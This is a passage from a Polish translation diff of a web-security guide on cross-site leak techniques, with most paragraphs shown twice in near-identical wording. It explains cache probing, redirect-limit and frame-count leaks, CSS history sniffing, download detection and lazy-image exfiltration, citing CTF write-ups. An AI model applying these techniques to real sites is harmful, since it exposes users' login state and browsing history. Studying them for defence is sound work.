Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która, gdy jest ustawiona, **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
Nagłówek CORP to stosunkowo nowa funkcja zabezpieczeń platformy internetowej, która po ustawieniu **blokuje żądania cross-origin bez CORS do danego zasobu**. Obecność nagłówka można wykryć, ponieważ zasób chroniony przez CORP **zgłosi błąd podczas pobierania**.
### CORB
@ -553,7 +553,7 @@ Sprawdź link, aby uzyskać więcej informacji na temat ataku.
- **Podsumowanie**: Jeśli nagłówek Origin jest odbity w nagłówku `Access-Control-Allow-Origin`, możliwe jest sprawdzenie, czy zasób jest już w pamięci podręcznej.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie jest** wywoływany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd jest **wywoływany**, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
W przypadku, gdy **nagłówek Origin** jest **odbity** w nagłówku `Access-Control-Allow-Origin`, atakujący może wykorzystać to zachowanie, aby spróbować **pobierać** **zasób** w trybie **CORS**. Jeśli **błąd** **nie jest** wywoływany, oznacza to, że został **prawidłowo pobrany z sieci**, jeśli błąd **jest** wywoływany, to dlatego, że był **dostępny z pamięci podręcznej** (błąd pojawia się, ponieważ pamięć podręczna zapisuje odpowiedź z nagłówkiem CORS zezwalającym na oryginalną domenę, a nie domenę atakującego)**.**\
Zauważ, że jeśli pochodzenie nie jest odbite, ale użyto znaku wieloznacznego (`Access-Control-Allow-Origin: *`), to nie zadziała.
## Technika atrybutów czytelnych
@ -573,10 +573,10 @@ Składając żądanie za pomocą Fetch API z `redirect: "manual"` i innymi param
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Podsumowanie:** Strony zabezpieczone przez politykę otwieracza z innego źródła (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Podsumowanie:** Strony zabezpieczone Polityką Otwieracza Z Innego Źródła (COOP) zapobiegają dostępowi z interakcji z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Atakujący jest w stanie wydedukować obecność nagłówka polityki otwieracza z innego źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można wykryć, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego braku.
Atakujący jest w stanie wydedukować obecność nagłówka Polityki Otwieracza Z Innego Źródła (COOP) w odpowiedzi HTTP z innego źródła. COOP jest wykorzystywane przez aplikacje internetowe do uniemożliwienia zewnętrznym witrynom uzyskiwania dowolnych odniesień do okien. Widoczność tego nagłówka można wykryć, próbując uzyskać dostęp do odniesienia **`contentWindow`**. W scenariuszach, w których COOP jest stosowane warunkowo, **właściwość `opener`** staje się wyraźnym wskaźnikiem: jest **niezdefiniowana**, gdy COOP jest aktywne, i **zdefiniowana** w jego braku.
### Maksymalna długość URL - po stronie serwera
@ -586,9 +586,9 @@ Atakujący jest w stanie wydedukować obecność nagłówka polityki otwieracza
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, co powoduje, że serwer odpowiada błędem i generowany jest alert.
- **Przykład kodu**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Jeśli przekierowanie po stronie serwera używa **danych użytkownika wewnątrz przekierowania** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
Jeśli przekierowanie po stronie serwera używa **danych użytkownika w przekierowaniu** i **dodatkowych danych**. Możliwe jest wykrycie tego zachowania, ponieważ zazwyczaj **serwery** mają **limit długości żądania**. Jeśli **dane użytkownika** mają **długość - 1**, ponieważ **przekierowanie** używa **tych danych** i **dodaje** coś **dodatkowego**, spowoduje to wywołanie **błędu wykrywalnego za pomocą zdarzeń błędów**.
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), więc z **zwiększoną wielkością odpowiedzi** **prawidłowej odpowiedzi** wywołany zostanie **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Jeśli w jakiś sposób możesz ustawić ciasteczka dla użytkownika, możesz również przeprowadzić ten atak, **ustawiając wystarczającą liczbę ciasteczek** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)), aby z **powodu zwiększonego rozmiaru odpowiedzi** **prawidłowej odpowiedzi** wywołać **błąd**. W tym przypadku pamiętaj, że jeśli wywołasz to żądanie z tej samej witryny, `<script>` automatycznie wyśle ciasteczka (więc możesz sprawdzić błędy).\
Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązaniu tego opisu: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` lub bycie w tym samym kontekście jest zazwyczaj wymagane do tego typu ataku.
@ -598,18 +598,18 @@ Przykład **cookie bomb + XS-Search** można znaleźć w zamierzonym rozwiązani
- **Metody włączenia**: Pop-upy
- **Wykrywalna różnica**: Kod statusu / Zawartość
- **Więcej informacji**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża dla żądania, co może być zauważone.
- **Podsumowanie:** Wykryj różnice w odpowiedziach, ponieważ długość odpowiedzi przekierowania może być zbyt duża, aby zauważyć różnicę.
- **Przykład kodu**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Zgodnie z [dokumentacją Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), maksymalna długość URL w Chrome wynosi 2MB.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości URL (chociaż 2^31 to powszechne ograniczenie). _Chrome_ ogranicza URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
> Ogólnie rzecz biorąc, _platforma internetowa_ nie ma ograniczeń co do długości adresów URL (chociaż 2^31 jest powszechnym limitem). _Chrome_ ogranicza adresy URL do maksymalnej długości **2MB** z powodów praktycznych i aby uniknąć problemów z odmową usługi w komunikacji międzyprocesowej.
Dlatego jeśli **przekierowany URL** w jednym z przypadków jest większy, możliwe jest, aby przekierować z **URL większym niż 2MB**, aby osiągnąć **limit długości**. Gdy to się zdarzy, Chrome wyświetla stronę **`about:blank#blocked`**.
Dlatego jeśli **adres URL przekierowania jest większy w jednym z przypadków**, możliwe jest, aby przekierować z **adresu URL większego niż 2MB**, aby osiągnąć **limit długości**. Gdy to się stanie, Chrome wyświetla stronę **`about:blank#blocked`**.
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ pochodzenie z innego źródła nie może uzyskać dostępu do tych informacji. Jednak jeśli **limit** został **osiągnięty**, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
**Widoczna różnica** polega na tym, że jeśli **przekierowanie** zostało **zakończone**, `window.origin` zgłasza **błąd**, ponieważ z innego źródła nie można uzyskać dostępu do tych informacji. Jednak jeśli **limit** został \*\*\*\* osiągnięty, a załadowana strona to **`about:blank#blocked`**, **`origin`** okna pozostaje tym z **rodzica**, co jest **dostępną informacją.**
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** mogą być dodane za pomocą **hasha** w początkowym URL, aby były **używane w przekierowaniu**.
Wszystkie dodatkowe informacje potrzebne do osiągnięcia **2MB** można dodać za pomocą **hasha** w początkowym adresie URL, aby zostały **użyte w przekierowaniu**.
{{#ref}}
url-max-length-client-side.md
@ -623,14 +623,14 @@ url-max-length-client-side.md
- **Podsumowanie:** Użyj limitu przekierowań przeglądarki, aby ustalić wystąpienie przekierowań URL.
- **Przykład kodu**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Jeśli **maksymalna** liczba **przekierowań** do śledzenia w przeglądarce wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i w końcu **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** jest wywoływany, oznacza to, że strona próbowała **przekierować ofiarę**.
Jeśli **maksymalna** liczba **przekierowań**, które można śledzić w przeglądarce, wynosi **20**, atakujący może spróbować załadować swoją stronę z **19 przekierowaniami** i ostatecznie **wysłać ofiarę** na testowaną stronę. Jeśli **błąd** jest wywoływany, oznacza to, że strona próbowała **przekierować ofiarę**.
### Długość historii
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Przekierowania
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i może być dostępny za pomocą właściwości length.
- **Podsumowanie:** Kod JavaScript manipuluje historią przeglądarki i można uzyskać dostęp do niej za pomocą właściwości length.
- **Przykład kodu**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**API historii** pozwala kodowi JavaScript na manipulację historią przeglądarki, która **zapisuje strony odwiedzane przez użytkownika**. Atakujący może użyć właściwości length jako metody włączenia: do wykrywania nawigacji JavaScript i HTML.\
@ -672,21 +672,21 @@ console.log(await debug(win, "https://example.com/?a=b"))
Liczenie **liczby ramek w sieci** otwartych za pomocą `iframe` lub `window.open` może pomóc w identyfikacji **statusu użytkownika na tej stronie**.\
Ponadto, jeśli strona ma zawsze tę samą liczbę ramek, ciągłe sprawdzanie liczby ramek może pomóc w identyfikacji **wzoru**, który może ujawniać informacje.
Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używa się `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
Przykładem tej techniki jest to, że w Chrome **PDF** może być **wykrywany** za pomocą **liczenia ramek**, ponieważ wewnętrznie używany jest `embed`. Istnieją [Parametry URL](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113), które pozwalają na pewną kontrolę nad zawartością, taką jak `zoom`, `view`, `page`, `toolbar`, gdzie ta technika może być interesująca.
### Elementy HTML
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby rozróżnić między 2 możliwymi stanami
- **Podsumowanie:** Odczytaj ujawnioną wartość, aby odróżnić 2 możliwe stany
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar multimediów. Może to być wykorzystywane przez atakujących do rozróżnienia między możliwymi stanami, analizując informacje ujawnione przez niektóre elementy HTML.
Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie sieci, szczególnie gdy dynamiczne pliki multimedialne są generowane na podstawie informacji o użytkowniku lub gdy dodawane są znaki wodne, zmieniając rozmiar mediów. Może to być wykorzystywane przez atakujących do różnicowania możliwych stanów poprzez analizowanie informacji ujawnionych przez niektóre elementy HTML.
### Informacje ujawnione przez elementy HTML
- **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` czasy multimediów, które można uzyskać za pomocą jego API. [Przeczytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement**: Ten element ujawnia `duration` i `buffered` czasy mediów, które można uzyskać za pomocą jego API. [Przeczytaj więcej o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Ujawnia `videoHeight` i `videoWidth`. W niektórych przeglądarkach dostępne są dodatkowe właściwości, takie jak `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` i `webkitDecodedFrameCount`, oferujące bardziej szczegółowe informacje o zawartości multimedialnej. [Przeczytaj więcej o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Ta funkcja dostarcza szczegóły dotyczące jakości odtwarzania wideo, w tym `totalVideoFrames`, co może wskazywać na ilość przetworzonych danych wideo. [Przeczytaj więcej o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Ten element ujawnia `height` i `width` obrazu. Jednak jeśli obraz jest nieprawidłowy, te właściwości zwrócą 0, a funkcja `image.decode()` zostanie odrzucona, co wskazuje na niepowodzenie w poprawnym załadowaniu obrazu. [Przeczytaj więcej o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
@ -699,7 +699,7 @@ Ujawnienie informacji przez elementy HTML jest problemem w bezpieczeństwie siec
- **Podsumowanie:** Zidentyfikuj różnice w stylizacji strony internetowej, które korelują ze stanem lub statusem użytkownika.
- **Przykład kodu**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Aplikacje internetowe mogą zmieniać **stylizację strony internetowej w zależności od statusu użytkownika**. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu HTML link**, a **reguły** będą **zastosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Aplikacje internetowe mogą zmieniać **stylizację strony** w zależności od statusu użytkownika. Pliki CSS z różnych źródeł mogą być osadzone na stronie atakującego za pomocą **elementu HTML link**, a **reguły** będą **stosowane** do strony atakującego. Jeśli strona dynamicznie zmienia te reguły, atakujący może **wykryć** te **różnice** w zależności od stanu użytkownika.\
Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`, aby **odczytać właściwości CSS** konkretnego elementu HTML. W rezultacie atakujący może odczytać dowolne właściwości CSS, jeśli znany jest dotknięty element i nazwa właściwości.
### Historia CSS
@ -707,17 +707,17 @@ Jako technikę wycieku, atakujący może użyć metody `window.getComputedStyle`
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do URL, co wskazuje, że był już odwiedzany
- **Podsumowanie:** Wykryj, czy styl `:visited` jest zastosowany do adresu URL, co wskazuje, że został już odwiedzony
- **Przykład kodu**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Zgodnie z [**tym**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), to nie działa w headless Chrome.
Selektor CSS `:visited` jest wykorzystywany do stylizacji URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic w stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane za pomocą selektora `:visited`.
Selektor CSS `:visited` jest wykorzystywany do stylizacji adresów URL w inny sposób, jeśli były wcześniej odwiedzane przez użytkownika. W przeszłości metoda `getComputedStyle()` mogła być używana do identyfikacji tych różnic stylu. Jednak nowoczesne przeglądarki wprowadziły środki bezpieczeństwa, aby zapobiec ujawnieniu stanu linku przez tę metodę. Środki te obejmują zawsze zwracanie stylu obliczonego, jakby link był odwiedzany, oraz ograniczenie stylów, które mogą być stosowane za pomocą selektora `:visited`.
Pomimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując konkretnie właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.
Mimo tych ograniczeń, możliwe jest pośrednie rozróżnienie stanu odwiedzenia linku. Jedna z technik polega na oszukaniu użytkownika, aby interagował z obszarem dotkniętym przez CSS, wykorzystując właściwość `mix-blend-mode`. Ta właściwość pozwala na mieszanie elementów z ich tłem, co może ujawniać stan odwiedzenia na podstawie interakcji użytkownika.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzać mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co sprawia, że stan odwiedzenia jest wykrywalny poprzez analizę czasową.
Ponadto, wykrycie można osiągnąć bez interakcji użytkownika, wykorzystując czasy renderowania linków. Ponieważ przeglądarki mogą renderować odwiedzone i nieodwiedzone linki w różny sposób, może to wprowadzać mierzalną różnicę czasową w renderowaniu. Dowód koncepcji (PoC) został wspomniany w raporcie błędu Chromium, demonstrując tę technikę przy użyciu wielu linków, aby wzmocnić różnicę czasową, co czyni stan odwiedzenia wykrywalnym poprzez analizę czasową.
Aby uzyskać więcej szczegółów na temat tych właściwości i metod, odwiedź ich strony dokumentacji:
@ -743,19 +743,19 @@ W Chrome, jeśli strona z nagłówkiem `X-Frame-Options` ustawionym na "deny" lu
- **Podsumowanie:** Atakujący może rozpoznać pobieranie plików, wykorzystując iframe; ciągła dostępność iframe sugeruje pomyślne pobranie pliku.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie można wykorzystać do wykrycia, czy użytkownik ma dostęp do strony, która wywołuje pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik wykrywania tego zachowania pobierania:
Nagłówek `Content-Disposition`, szczególnie `Content-Disposition: attachment`, instruuje przeglądarkę, aby pobrała zawartość zamiast wyświetlać ją w linii. To zachowanie może być wykorzystywane do wykrywania, czy użytkownik ma dostęp do strony, która wyzwala pobieranie pliku. W przeglądarkach opartych na Chromium istnieje kilka technik do wykrywania tego zachowania pobierania:
1. **Monitorowanie paska pobierania**:
- Gdy plik jest pobierany w przeglądarkach opartych na Chromium, pasek pobierania pojawia się na dole okna przeglądarki.
- Monitorując zmiany w wysokości okna, atakujący mogą wnioskować o pojawieniu się paska pobierania, co sugeruje, że pobieranie zostało zainicjowane.
2. **Nawigacja pobierania z iframe'ami**:
- Gdy strona wywołuje pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
2. **Nawigacja pobierania za pomocą iframe**:
- Gdy strona wyzwala pobieranie pliku za pomocą nagłówka `Content-Disposition: attachment`, nie powoduje to zdarzenia nawigacji.
- Ładując zawartość w iframe i monitorując zdarzenia nawigacji, można sprawdzić, czy rozkład treści powoduje pobieranie pliku (brak nawigacji) czy nie.
3. **Nawigacja pobierania bez iframe'ów**:
3. **Nawigacja pobierania bez iframe**:
- Podobnie jak w technice iframe, ta metoda polega na użyciu `window.open` zamiast iframe.
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy wywołano pobieranie pliku (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
- Monitorowanie zdarzeń nawigacji w nowo otwartym oknie może ujawnić, czy pobieranie pliku zostało wyzwolone (brak nawigacji) czy zawartość jest wyświetlana w linii (następuje nawigacja).
W scenariuszach, w których tylko zalogowani użytkownicy mogą wywoływać takie pobierania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
W scenariuszach, w których tylko zalogowani użytkownicy mogą wyzwalać takie pobierania, te techniki mogą być używane do pośredniego wnioskowania o stanie uwierzytelnienia użytkownika na podstawie odpowiedzi przeglądarki na żądanie pobrania.
### Ominięcie podzielonej pamięci podręcznej HTTP <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
@ -769,7 +769,7 @@ W scenariuszach, w których tylko zalogowani użytkownicy mogą wywoływać taki
> Dlatego ta technika jest interesująca: Chrome ma teraz **podział pamięci podręcznej**, a klucz pamięci podręcznej nowo otwartej strony to: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ale jeśli otworzę stronę ngrok i użyję fetch w niej, klucz pamięci podręcznej będzie: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **klucz pamięci podręcznej jest inny**, więc pamięć podręczna nie może być dzielona. Możesz znaleźć więcej szczegółów tutaj: [Zyskiwanie bezpieczeństwa i prywatności przez podział pamięci podręcznej](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentarz z [**tutaj**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z najwyższego _eTLD+1_ i ramki _eTLD+1_.
Jeśli strona `example.com` zawiera zasób z `*.example.com/resource`, to ten zasób będzie miał **ten sam klucz pamięci podręcznej**, jakby zasób był bezpośrednio **żądany przez nawigację na najwyższym poziomie**. Dzieje się tak, ponieważ klucz pamięci podręcznej składa się z _eTLD+1_ na najwyższym poziomie i _eTLD+1_ ramki.
Ponieważ dostęp do pamięci podręcznej jest szybszy niż ładowanie zasobu, możliwe jest próbowanie zmiany lokalizacji strony i anulowanie jej 20 ms (na przykład) później. Jeśli pochodzenie zostało zmienione po zatrzymaniu, oznacza to, że zasób został zbuforowany.\
Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i zmierzyć czas, jaki to zajmuje**.
@ -789,10 +789,10 @@ Można również **wysłać jakieś fetch do potencjalnie zbuforowanej strony i
- **Metody włączenia**: Fetch API
- **Wykrywalna różnica**: Czas
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu i przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
- **Podsumowanie:** Możliwe jest próbowanie załadowania zasobu, a następnie przerwanie ładowania przed jego załadowaniem. W zależności od tego, czy wystąpił błąd, zasób był lub nie był zbuforowany.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany**, oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.
Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **zasób jest zbuforowany** oraz aby usunąć konkretny zasób z pamięci podręcznej przeglądarki. Ponadto proces ten odbywa się bez buforowania nowej zawartości.
### Zanieczyszczenie skryptu
@ -812,7 +812,7 @@ Użyj _**fetch**_ i _**setTimeout**_ z **AbortController**, aby wykryć, czy **z
W danym scenariuszu atakujący podejmuje inicjatywę, aby zarejestrować **pracownika serwisowego** w jednej ze swoich domen, konkretnie "attacker.com". Następnie atakujący otwiera nowe okno na stronie docelowej z głównego dokumentu i instruuje **pracownika serwisowego**, aby rozpoczął timer. Gdy nowe okno zaczyna się ładować, atakujący nawigują odniesienie uzyskane w poprzednim kroku do strony zarządzanej przez **pracownika serwisowego**.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak treści)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.
Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy** odpowiada kodem statusu **204 (Brak zawartości)**, skutecznie kończąc proces nawigacji. W tym momencie **pracownik serwisowy** rejestruje pomiar z timera uruchomionego wcześniej w kroku drugim. Ten pomiar jest wpływany przez czas trwania JavaScript, powodując opóźnienia w procesie nawigacji.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -838,29 +838,29 @@ Po przybyciu żądania zainicjowanego w poprzednim kroku, **pracownik serwisowy*
Tutaj znajdziesz techniki wykradania informacji z HTML z innego źródła **poprzez wstrzykiwanie treści HTML**. Te techniki są interesujące w przypadkach, gdy z jakiegoś powodu możesz **wstrzykiwać HTML, ale nie możesz wstrzykiwać kodu JS**.
### Zawieszony znacznik
### Zawieszone znaczniki
{{#ref}}
../dangling-markup-html-scriptless-injection/
{{#endref}}
### Ładowanie obrazów leniwych
### Ładowanie obrazów leniwie
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonego znacznika**.\
Jeśli musisz **wykradać treści** i możesz **dodać HTML przed sekretem**, powinieneś sprawdzić **typowe techniki zawieszonych znaczników**.\
Jednak jeśli z jakiegokolwiek powodu **MUSISZ** to zrobić **znak po znaku** (może komunikacja odbywa się przez trafienie w pamięci podręcznej), możesz użyć tego triku.
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie wyświetlany, a nie podczas ładowania strony:
**Obrazy** w HTML mają atrybut "**loading**", którego wartość może być "**lazy**". W takim przypadku obraz zostanie załadowany, gdy będzie widoczny, a nie podczas ładowania strony:
```html
<img src=/something loading=lazy >
```
Dlatego możesz **dodać dużo niepotrzebnych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
Jeśli na przykład nasza **iniekcja pojawi się przed flagą**, **obraz** zostanie **załadowany**, ale jeśli pojawi się **po** **fladze**, flaga + śmieci **uniemożliwią jej załadowanie** (będziesz musiał eksperymentować z ilością śmieci do umieszczenia). To się wydarzyło w [**tym opisie**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Dlatego możesz **dodać dużo niepotrzebnych znaków** (na przykład **tysiące "W"**) aby **wypełnić stronę internetową przed sekretem lub dodać coś takiego jak** `<br><canvas height="1850px"></canvas><br>.`\
